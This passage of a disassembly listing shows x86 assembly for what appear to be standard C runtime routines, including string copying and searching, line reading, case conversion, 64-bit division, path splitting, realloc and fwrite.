sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4CDA48 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_433E7C, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_4CEF01[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_4CF028 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_4CF020 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4CF024 nop call near ptr 2730000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2850000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_4CDA14, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_435EB4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_4CF024 nop call near ptr 2730000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2850000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_4CDA14, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 call near ptr 2850000h nop test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_4CDA14, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE 